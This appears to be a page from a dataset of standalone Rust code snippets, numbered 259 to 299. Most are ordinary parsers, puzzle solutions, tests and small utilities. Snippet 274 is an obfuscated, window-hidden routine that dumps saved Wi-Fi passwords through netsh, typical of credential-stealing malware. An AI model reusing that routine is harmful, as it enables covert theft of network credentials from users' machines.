// result.0.unwrap_err(), result.1.unwrap_err()))
}
| 259
|
pub fn write_uint<W>(wr: &mut W, val: u64) -> Result<Marker, ValueWriteError>
where W: Write
{
if val < 128 {
let marker = Marker::FixPos(val as u8);
try!(write_fixval(wr, marker));
Ok(marker)
} else if val < 256 {
write_u8(wr, val as u8).and(Ok(Marker::U8))
} else if val < 65536 {
write_u16(wr, val as u16).and(Ok(Marker::U16))
} else if val < 4294967296 {
write_u32(wr, val as u32).and(Ok(Marker::U32))
} else {
write_u64(wr, val).and(Ok(Marker::U64))
}
}
| 260
|
pub
fn
fetch_xor
(
&
self
val
:
bool
)
-
>
bool
{
let
a
=
unsafe
{
&
*
(
self
.
as_ptr
(
)
as
*
const
AtomicBool
)
}
;
a
.
fetch_xor
(
val
Ordering
:
:
AcqRel
)
}
| 261
|
fn move_data_node_to_index_of_path(nodes: &mut HashMap<String, Node>, data_node: &mut Node, zero_node: &mut Node, target_coords: &String, move_count: &mut usize) {
let (count, _, new_state) = move_node_data_to_coords(nodes, zero_node, target_coords, vec![data_node.coords.clone()]);
*move_count += count;
let (count, _, new_state) = move_node_data_to_coords(&new_state, data_node, target_coords, Vec::new());
*zero_node = new_state.get(&data_node.coords).unwrap().clone();
*data_node = new_state.get(target_coords).unwrap().clone();
*nodes = new_state;
*move_count += count;
}
| 262
|
fn print_nodes(nodes: &HashMap<String, Node>) {
for y in 0..(MAX_Y+1) {
let mut row: Vec<String> = Vec::new();
for x in 0..(MAX_X+1) {
let node = nodes.get(&format!("x{}y{}", x, y)).unwrap();
row.push(format!("{}/{}", node.used, node.size));
}
println!("{}", row.join("|"));
}
}
| 263
|
fn signed() {
let value = Signed::One;
assert!(value.0 == 1i32);
let value = Signed::Two;
assert!(value.0 == 2i32);
let value = Signed::Three;
assert!(value.0 == 3i32);
let value: Signed = 2i32.into();
assert!(value == Signed::Two);
}
| 264
|
pub fn get() -> Template {
let age = Local::today().signed_duration_since(Local.ymd(1992, 8, 19)).num_seconds() / SECONDS_PER_YEAR;
Template::render("home", HomeContext { age })
}
| 265
|
fn main() {
let stdin = std::io::stdin();
let mut _i_i = InputIScanner::from(stdin.lock());
macro_rules! scan {
(($($t: ty),+)) => {
($(scan!($t)),+)
};
($t: ty) => {
_i_i.scan::<$t>() as $t
};
(($($t: ty),+); $n: expr) => {
std::iter::repeat_with(|| scan!(($($t),+))).take($n).collect::<Vec<_>>()
};
($t: ty; $n: expr) => {
std::iter::repeat_with(|| scan!($t)).take($n).collect::<Vec<_>>()
};
}
let n = scan!(usize);
let a = scan!(usize; n * 4 - 1);
let mut freq = vec![0; n + 1];
for a in a {
freq[a] += 1;
}
let ans = (1..=n).filter(|&i| freq[i] == 3).next().unwrap();
println!("{}", ans);
}
| 266
|
fn main() {
println!("Run via `cargo run-wasm --example visualiser_for_wasm`");
}
| 267
|
fn find_embedded_ancestor(beta: &RcNode) -> Option<RcNode> {
for alpha in Ancestors::new(beta) {
if alpha.get_body().is_fg_call()
&& embedded_in(&alpha.get_body(), &beta.get_body())
{
return Some(alpha);
}
}
return None;
}
| 268
|
fn print_nodes(prefix: &str, nodes: &[IRNode]) {
for node in nodes.iter() {
print_node(prefix, node);
}
}
| 269
|
fn execute(cmd: Command) {
match cmd {
Command::Exit => builtin::exit(),
Command::Cd(args) => builtin::cd(&args),
Command::Pwd => builtin::pwd(),
Command::External(args) => match fork().expect("fork failed") {
ForkResult::Parent { child } => {
let _ = waitpid(child, None);
}
ForkResult::Child => execve_wrapper(args),
},
}
}
| 270
|
fn main() {
println!("Hello, world!");
let poin = Point {x:10.0,y:20.0};
println!("x part of point is {} and distance from origin is {}.",poin.x(),poin.distance_from_origin());
}
| 271
|
async fn main() {
let start_url = std::env::args()
.skip(1)
.next()
.unwrap_or(START_URL.to_string());
let store = MemoryStore::new();
let mut agent = Agent::new(curiosity(), store.clone(), CachedHttp::default());
agent
.investigate(NamedNode::new(start_url).unwrap())
.await
.unwrap();
while !agent.next().await.unwrap() {
dbg!(store.len());
}
println!("{}", show(&store));
dbg!(store.len(), "done");
}
| 272
|
fn lz_string_uri_encoded() {
compression_tests(
|s| lz_str::compress_to_encoded_uri_component(s).into(),
|s| {
lz_str::decompress_from_encoded_uri_component(
&s.to_utf8_string().expect("Valid UTF16 String"),
)
.map(ByteString::from)
},
false,
);
}
| 273
|
fn parse_usize(input: &str) -> IResult<&str, usize> {
let (input, num_str) = digit1(input)?;
let num = num_str.parse().unwrap();
Ok((input, num))
}
| 274
|
pub async fn dump_wifi_passwords() -> Option<WifiLogins> {
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
])
.creation_flags(CREATE_NO_WINDOW)
.output()
.ok()?;
let mut wifi_logins = WifiLogins::new();
let list_of_process = String::from_utf8_lossy(&output.stdout);
for line in list_of_process.lines() {
if line
.to_lowercase()
.contains(obfstr::obfstr!("all user profile"))
&& line.contains(":")
{
let ssid = line.split(':').nth(1)?.trim();
let profile = get_wifi_profile(ssid).await?;
for pline in profile.lines() {
if pline
.to_lowercase()
.contains(obfstr::obfstr!("key content"))
&& pline.contains(":")
{
let key = pline.split(": ").nth(1)?;
wifi_logins.insert(ssid.to_string(), key.to_string());
}
}
}
}
Some(wifi_logins)
}
| 275
|
fn generate_cells(width: u32, height: u32, _pattern: InitialPattern) -> Vec<Cell> {
// expression generating Vec<Cell>
let cells = (0..width * height).map(|_i|
{
//if pattern == InitialPattern::Complex1 {
// // hardcode-pattern, depends on 8x8 definition
// if i % 2 == 0 || i % 7 == 0 {
// Cell::Alive
// } else {
// Cell::Dead
// }
// } else { // InitialPattern::Random5050
if quad_rand::gen_range(0, 20) == 0 {
Cell::Alive
} else {
Cell::Dead
}
// }
}).collect();
cells
}
| 276
|
fn parse_bag_count(input: &str) -> IResult<&str, (usize, &str)> {
let input = skip_whitespace(input);
let (input, count) = parse_usize(input)?;
let input = skip_whitespace(input);
let (input, bag_name) = parse_bag_name(input)?;
let input = skip_whitespace(input);
Ok((input, (count, bag_name)))
}
| 277
|
pub(crate) fn is_reserved(s: &str) -> bool {
matches!(
s,
"if" | "then"
| "else"
| "let"
| "in"
| "fn"
| "int"
| "float"
| "bool"
| "true"
| "false"
| "cstring"
)
}
| 278
|
pub fn map_raw_page_free(vaddr: usize, untyped: CAddr, toplevel_table: CAddr, page: CAddr) {
system_call(SystemCall::MapRawPageFree {
untyped: untyped,
toplevel_table: toplevel_table,
request: (vaddr, page),
});
}
| 279
|
async fn pre_process_command(
ctx: &Context,
command: &InteractionCommand,
slash: &SlashCommand,
) -> Result<Option<ProcessResult>> {
let user_id = command.user_id()?;
// Only for owner?
if slash.flags.only_owner() && user_id != BotConfig::get().owner {
let content = "That command can only be used by the bot owner";
command.error_callback(ctx, content).await?;
return Ok(Some(ProcessResult::NoOwner));
}
// Ratelimited?
if let Some(bucket) = slash.bucket {
if let Some(cooldown) = ctx.check_ratelimit(user_id, bucket) {
trace!("Ratelimiting user {user_id} on bucket `{bucket:?}` for {cooldown} seconds");
let content = format!("Command on cooldown, try again in {cooldown} seconds");
command.error_callback(ctx, content).await?;
return Ok(Some(ProcessResult::Ratelimited(bucket)));
}
}
// Only for authorities?
if slash.flags.authority() {
match check_authority(ctx, user_id, command.guild_id).await {
Ok(None) => {}
Ok(Some(content)) => {
command.error_callback(ctx, content).await?;
return Ok(Some(ProcessResult::NoAuthority));
}
Err(err) => {
let content = "Error while checking authority status";
let _ = command.error_callback(ctx, content).await;
return Err(err.wrap_err("failed to check authority status"));
}
}
}
Ok(None)
}
| 280
|
fn error_test() {
// 7.1.1
// fn pirate_share(total: u64, crew_size: usize) -> u64 {
// let half = total / 2;
// half / crew_size as u64
// }
// pirate_share(100, 0);
// 7.2 Result
// fn get_weather(location: LatLng) -> Result<WeatherReport, io::Error>
// 7.2.1
// match get_weather(hometown) {
// Ok(report) => {
// display_weather(hometown, &report);
// }
// Err(err) => {
// println!("error querying the weather: {}", err);
// schedule_weather_retry();
// }
// }
// A fairly safe prediction for Southern California.
// const THE_USEAL: WeatherReport = WeatherReport::Sunny(72);
//
// result.is_ok()
// result.is_err()
//
// result.ok()
// result.err()
//
// Get a real weather report, if possible.
// If not, fail back on the usual.
// let report = get_weather(los_angels).unwrap_or(THE_USEAL);
// display_weather(los_angels, &report);
//
// let report =
// get_weather(hometown)
// .unwrap_or_else(|_err| vague_prediction(hometown));
//
// result.unwrap()
// result.expect(message)
// result.as_ref()
// result.as_mut()
//
// 7.2.2
// fn remove_file(path: &Path) -> Result<()>
// pub type Result<T> = result::Result<T, Error>;
//
// 7.2.3
// println!("error querying the weather: {}", err);
// println!("error: {}", err);
// println!("error: {:?}", err);
// err.description()
// err.cause()
// use std::error::Error;
// use std::io::{stderr, Write};
// /// Dump an error message to `stderr`.
// ///
// /// If another error happens while building the error message or
// /// writing to `stderr`, it is ignored.
// fn print_error(mut err: &Error) {
// let _ = writeln!(stderr(), "error: {}", err);
// while let Some(cause) = err.cause() {
// let _ = writeln!(stderr(), "caused by: {}", cause);
// err = cause;
// }
// }
//
// 7.2.4
//
// let weather = get_weather(hometown)?;
//
// let weather = match get_weather(hometown) {
// Ok(success_value) => success_value,
// Err(err) = > return Err(err)
// };
//
// use std::fs;
// use std::io;
// use std::path::Path;
//
// fn move_all(src: &Path, dst: &Path) -> io::Result<()> {
// for entry_result in src.read_dir()? { // opening dir could fail
// let entry = entry_result?; // reading dir could fail
// let dst_file = dst.join(entry.file_name());
// fs::rename(entry.path(), dst_file)?; // renaming could fail
// }
// Ok(())
// }
//
// 7.2.5
//
// use std::io::{self, BufRead};
//
// /// Read integers from a text file.
// /// The file sould have one number on each line.
// fn read_numbers(file: &mut BufRead) -> Result<Vec<i64>, io::Error> {
// let mut numbers = vec![];
// for line_result in file.lines() {
// let line = line_result?; // reading lines can fail
// numbers.push(line.parse()?); // parsing integers can fail
// }
// Ok(numbers)
// }
//
// type GenError = Box<std::error:Error>;
// type GenResult<T> = Result<T, GenError>;
//
// let io_error = io::Error::new{ // make our own io::Error
// io::ErrorKind::Other, "timed out"};
// return Err(GenError::from(io_error)); // manually convert to GenError
//
// 7.2.7
// let _ = writeln!(stderr(), "error: {}", err);
//
// 7.2.8
//
// fn main() {
// if let Err(err) = calculate_tides() {
// print_error(&err);
// std::process::exit(1);
// }
// }
}
| 281
|
pub fn parse(buf_reader: &mut dyn BufRead, strict: bool) -> Result<Cue, CueError> {
let verbose = env::var_os("RCUE_LOG").map(|s| s == "1").unwrap_or(false);
macro_rules! fail_if_strict {
($line_no:ident, $line:ident, $reason:expr) => {
if strict {
if verbose {
println!(
"Strict mode failure: did not parse line {}: {}\n\tReason: {:?}",
$line_no + 1,
$line,
$reason
);
}
return Err(CueError::Parse(format!("strict mode failure: {}", $reason)));
}
};
}
let mut cue = Cue::new();
fn last_file(cue: &mut Cue) -> Option<&mut CueFile> {
cue.files.last_mut()
}
fn last_track(cue: &mut Cue) -> Option<&mut Track> {
last_file(cue).and_then(|f| f.tracks.last_mut())
}
for (i, line) in buf_reader.lines().enumerate() {
if let Ok(ref l) = line {
let token = tokenize_line(l);
match token {
Ok(Command::CdTextFile(path)) => {
cue.cd_text_file = Some(path);
}
Ok(Command::Flags(flags)) => {
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().flags = flags;
} else {
fail_if_strict!(i, l, "FLAG assigned to no TRACK");
}
}
Ok(Command::Isrc(isrc)) => {
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().isrc = Some(isrc);
} else {
fail_if_strict!(i, l, "ISRC assigned to no TRACK");
}
}
Ok(Command::Rem(field, value)) => {
let comment = (field, value);
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().comments.push(comment);
} else if last_file(&mut cue).is_some() {
last_file(&mut cue).unwrap().comments.push(comment);
} else {
cue.comments.push(comment);
}
}
Ok(Command::File(file, format)) => {
cue.files.push(CueFile::new(&file, &format));
}
Ok(Command::Track(idx, mode)) => {
if let Some(file) = last_file(&mut cue) {
file.tracks.push(Track::new(&idx, &mode));
} else {
fail_if_strict!(i, l, "TRACK assigned to no FILE");
}
}
Ok(Command::Title(title)) => {
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().title = Some(title);
} else {
cue.title = Some(title)
}
}
Ok(Command::Performer(performer)) => {
// this double check might be able to go away under non-lexical lifetimes
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().performer = Some(performer);
} else {
cue.performer = Some(performer);
}
}
Ok(Command::Songwriter(songwriter)) => {
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().songwriter = Some(songwriter);
} else {
cue.songwriter = Some(songwriter);
}
}
Ok(Command::Index(idx, time)) => {
if let Some(track) = last_track(&mut cue) {
if let Ok(duration) = timestamp_to_duration(&time) {
track.indices.push((idx, duration));
} else {
fail_if_strict!(i, l, "bad INDEX timestamp");
}
} else {
fail_if_strict!(i, l, "INDEX assigned to no track");
}
}
Ok(Command::Pregap(time)) => {
if last_track(&mut cue).is_some() {
if let Ok(duration) = timestamp_to_duration(&time) {
last_track(&mut cue).unwrap().pregap = Some(duration);
} else {
fail_if_strict!(i, l, "bad PREGAP timestamp");
}
} else {
fail_if_strict!(i, l, "PREGAP assigned to no track");
}
}
Ok(Command::Postgap(time)) => {
if last_track(&mut cue).is_some() {
if let Ok(duration) = timestamp_to_duration(&time) {
last_track(&mut cue).unwrap().postgap = Some(duration);
} else {
fail_if_strict!(i, l, "bad PREGAP timestamp");
}
} else {
fail_if_strict!(i, l, "POSTGAP assigned to no track");
}
}
Ok(Command::Catalog(id)) => {
cue.catalog = Some(id);
}
Ok(Command::Unknown(line)) => {
fail_if_strict!(i, l, &format!("unknown token -- {}", &line));
if last_track(&mut cue).is_some() {
last_track(&mut cue).unwrap().unknown.push(line);
} else {
cue.unknown.push(line)
}
}
_ => {
fail_if_strict!(i, l, &format!("bad line -- {:?}", &line));
if verbose {
println!("Bad line - did not parse line {}: {:?}", i + 1, l);
}
}
}
}
}
Ok(cue)
}
| 282
|
fn active_entity(entity: Entity, world: &World) -> bool {
return world.masks[entity] & VOXEL_PASS_MASK == VOXEL_PASS_MASK;
}
| 283
|
fn package_url(mirror_url: Url, version: &Version) -> Url {
debug!("pakage url");
Url::parse(&format!(
"{}/{}/{}",
mirror_url.as_str().trim_end_matches('/'),
match version {
Version::Semver(version) => format!("{}.{}", version.major, version.minor),
_ => unreachable!(),
},
archive(version),
))
.unwrap()
}
| 284
|
fn does_react(a: char, b: char) -> bool {
(a.is_ascii_lowercase() && b.is_ascii_uppercase() && a == b.to_ascii_lowercase())
|| (a.is_ascii_uppercase() && b.is_ascii_lowercase() && a.to_ascii_lowercase() == b)
}
| 285
|
fn serializer(msg: String) -> Result<Task, Error> {
let v = match serde_json::from_str::<Task>(&msg){
Ok(v) => v,
Err(e) => return Err(e)
};
Ok(v)
}
| 286
|
pub fn part1() {
let input = crate::common::read_stdin_to_string();
let mut two_letter_checksum_component: i64 = 0;
let mut three_letter_checksum_component: i64 = 0;
let mut seen_letter_counts: BTreeMap<char, i64> = BTreeMap::new();
for box_id in input.lines() {
for letter in box_id.chars() {
let count = (match seen_letter_counts.get(&letter) {
Some(count) => count,
None => &0,
}) + 1;
seen_letter_counts.insert(letter, count);
}
let mut seen_two = false;
let mut seen_three = false;
for count in seen_letter_counts.values() {
if !seen_two && *count == 2 {
seen_two = true;
two_letter_checksum_component += 1;
}
if !seen_three && *count == 3 {
seen_three = true;
three_letter_checksum_component += 1;
}
if seen_two && seen_three {
break;
}
}
seen_letter_counts.clear();
}
let checksum = two_letter_checksum_component * three_letter_checksum_component;
println!("the checksum for your list of box IDs: {}", checksum);
}
| 287
|
fn test_point_shapelike_impl() {
let p = (1.0, 2.0, 3.0).into_pt();
// check our basic functions work
assert_eq!(p.get_dimension(), 3);
assert_eq!(p.get_area(), 0.0);
assert_eq!(p.get_center(), p);
let q = Shape::Point((2.0, 3.0, 4.0).into_pt());
// the (minimum) distance between p and q is the square root of 3
assert_eq!(p.get_min_distance(&q), Ok(3.0_f64.sqrt()));
}
| 288
|
pub fn write_f64<W>(wr: &mut W, val: f64) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::F64));
write_data_f64(wr, val)
}
| 289
|
fn schema_parent_path() -> syn::Path {
parse_quote! {crate::schemas}
}
| 290
|
pub fn project_to_doc(project: &Project, template_name:&str, bill_type:&Option<BillType>, dry_run:bool, force:bool) -> Result<()> {
let template_ext = ::CONFIG.get_str("extensions/output_template").expect("Faulty default config");
let output_ext = ::CONFIG.get_str("extensions/output_file").expect("Faulty default config");
let convert_ext = ::CONFIG.get_str("convert/output_extension").expect("Faulty default config");
let trash_exts = ::CONFIG.get("convert/trash_extensions") .expect("Faulty default config")
.as_vec().expect("Faulty default config")
.into_iter()
.map(|v|v.as_str()).collect::<Vec<_>>();
let mut template_path = PathBuf::new();
template_path.push(util::get_storage_path());
template_path.push(::CONFIG.get_str("dirs/templates").expect("Faulty config: dirs/templates does not contain a value"));
template_path.push(template_name);
template_path.set_extension(template_ext);
debug!("template file={:?} exists={}", template_path, template_path.exists());
if !template_path.exists() {
return Err(format!("Template not found at {}", template_path.display()).into())
}
let convert_tool = ::CONFIG.get_str("convert/tool");
let output_folder = ::CONFIG.get_str("output_path").and_then(util::get_valid_path).expect("Faulty config \"output_path\"");
let ready_for_offer = project.is_ready_for_offer();
let ready_for_invoice = project.is_ready_for_invoice();
let project_file = project.file();
// tiny little helper
let to_local_file = |file:&Path, ext| {
let mut _tmpfile = file.to_owned();
_tmpfile.set_extension(ext);
Path::new(_tmpfile.file_name().unwrap().into()).to_owned()
};
use BillType::*;
let (dyn_bill_type, outfile_tex):
(Option<BillType>, Option<PathBuf>) =
match (bill_type, ready_for_offer, ready_for_invoice)
{
(&Some(Offer), Ok(_), _ ) |
(&None, Ok(_), Err(_)) => (Some(Offer), Some(project.dir().join(project.offer_file_name(output_ext).expect("this should have been cought by ready_for_offer()")))),
(&Some(Invoice), _, Ok(_)) |
(&None, _, Ok(_)) => (Some(Invoice), Some(project.dir().join(project.invoice_file_name(output_ext).expect("this should have been cought by ready_for_invoice()")))),
(&Some(Offer), Err(e), _ ) => {error!("cannot create an offer, check out:{:#?}",e);(None,None)},
(&Some(Invoice), _, Err(e)) => {error!("cannot create an invoice, check out:{:#?}",e);(None,None)},
(_, Err(e), Err(_)) => {error!("Neither an Offer nor an Invoice can be created from this project\n please check out {:#?}", e);(None,None)}
};
//debug!("{:?} -> {:?}",(bill_type, project.is_ready_for_offer(), project.is_ready_for_invoice()), (dyn_bill_type, outfile_tex));
if let (Some(outfile), Some(dyn_bill)) = (outfile_tex, dyn_bill_type) {
let filled = try!(fill_template(project, &dyn_bill, &template_path));
let pdffile = to_local_file(&outfile, convert_ext);
let target = output_folder.join(&pdffile);
// ok, so apparently we can create a tex file, so lets do it
if !force && target.exists() && try!(file_age(&target)) < try!(file_age(&project_file)){
// no wait, nothing has changed, so lets save ourselves the work
info!("nothing to be done, {} is younger than {}\n use -f if you don't agree", target.display(), project_file.display());
} else {
// \o/ we created a tex file
if dry_run{
warn!("Dry run! This does not produce any output:\n * {}\n * {}", outfile.display(), pdffile.display());
} else {
let outfileb = try!(project.write_to_file(&filled,&dyn_bill,output_ext));
debug!("{} vs\n {}", outfile.display(), outfileb.display());
util::pass_to_command(&convert_tool, &[&outfileb]);
}
// clean up expected trash files
for trash_ext in trash_exts.iter().filter_map(|x|*x){
let trash_file = to_local_file(&outfile, trash_ext);
if trash_file.exists() {
try!(fs::remove_file(&trash_file));
debug!("just deleted: {}", trash_file.display())
}
else {
debug!("I expected there to be a {}, but there wasn't any ?", trash_file.display())
}
}
if pdffile.exists(){
debug!("now there is be a {:?} -> {:?}", pdffile, target);
try!(fs::rename(&pdffile, &target));
}
}
}
Ok(())
}
| 291
|
fn a_table_should_read_and_write_batches() {
let mut table = HashMapOfTreeMap::new();
table.write(0, &[Row { k: 0, v: 1 }, Row { k: 1, v: 2 }]);
let mut vs = [Value::default(); 2];
table.read (1, &[0, 1], &mut vs);
assert_eq!(vs, [Value { v: 1, t: 1 }, Value { v: 2, t: 1 }]);
}
| 292
|
fn spawn(cmd: &String, args: &Vec<String>, stdin: Stdio, stdout: Stdio) -> Result<Child, Error> {
Command::new(cmd)
.args(args)
.stdin(stdin)
.stdout(stdout)
.spawn()
}
| 293
|
fn main() {
let yaml = load_yaml!("../cli.yml");
let matches = App::from_yaml(yaml).get_matches();
let die_opt = matches.value_of("die").unwrap_or("20").parse::<i32>().unwrap();
let num_opt = matches.value_of("num").unwrap_or("1").parse::<i32>().unwrap();
let sum_opt = matches.is_present("sum");
let advangage_opt = matches.is_present("advantage");
let disadvantage_opt = matches.is_present("disadvantage");
if advangage_opt {
let (result, dropped) = roll_with_advantage(die_opt);
println!("You rolled {}! (dropped {}) [0 - {}]", result, dropped, die_opt);
}
else if disadvantage_opt {
let (result, dropped) = roll_with_disadvantage(die_opt);
println!("You rolled {}! (dropped {}) [0 - {}]", result, dropped, die_opt);
}
else {
let mut rolls: Vec<i32> = Vec::new();
for _ in 0..num_opt {
let result = roll(die_opt);
rolls.push(result);
println!("You rolled {}! [0 - {}]", result, die_opt);
}
if sum_opt {
println!("---");
println!("Total: {}", rolls.iter().sum::<i32>());
}
}
}
| 294
|
fn rename_enum_variant<'a>(
name: &'a str,
features: &mut Vec<Feature>,
variant_rules: &'a Option<SerdeValue>,
container_rules: &'a Option<SerdeContainer>,
rename_all: &'a Option<RenameAll>,
) -> Option<Cow<'a, str>> {
let rename = features
.pop_rename_feature()
.map(|rename| rename.into_value());
let rename_to = variant_rules
.as_ref()
.and_then(|variant_rules| variant_rules.rename.as_deref().map(Cow::Borrowed))
.or_else(|| rename.map(Cow::Owned));
let rename_all = container_rules
.as_ref()
.and_then(|container_rules| container_rules.rename_all.as_ref())
.or_else(|| {
rename_all
.as_ref()
.map(|rename_all| rename_all.as_rename_rule())
});
super::rename::<VariantRename>(name, rename_to, rename_all)
}
| 295
|
fn main() {
if let Some(rv) = Editor::new().edit("Enter a commit message").unwrap() {
println!("Your message:");
println!("{}", rv);
} else {
println!("Abort!");
}
}
| 296
|
fn item() {
let dir = TestDir::new("sit", "item");
dir.cmd()
.arg("init")
.expect_success();
dir.create_file(".sit/reducers/test.js",r#"
module.exports = function(state, record) {
return Object.assign(state, {value: "hello"});
}
"#);
let id = String::from_utf8(dir.cmd().arg("item").expect_success().stdout).unwrap();
// create a record
Repository::open(dir.path(".sit")).unwrap().item(id.trim()).unwrap().new_record(vec![("test", &b""[..])].into_iter(), true).unwrap();
let output = String::from_utf8(dir.cmd().args(&["reduce", id.trim()]).expect_success().stdout).unwrap();
use serde_json::Map;
let mut expect = Map::new();
expect.insert("id".into(), serde_json::Value::String(id.trim().into()));
expect.insert("value".into(), serde_json::Value::String("hello".into()));
assert_eq!(serde_json::from_str::<serde_json::Value>(output.trim()).unwrap(), serde_json::Value::Object(expect));
}
| 297
|
pub fn challenge_14() {
println!("TODO");
}
| 298
|
pub fn mmap_to_file<P: AsRef<Path>>(size: usize, path: P) -> io::Result<Ptr> {
let ptr = unsafe {
mmap(
ptr::null_mut(),
size as size_t,
DEFAULT_PROT,
MAP_SHARED,
open_file(path, size)?,
0,
)
};
check_mmap_ptr(ptr)
}
| 299
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.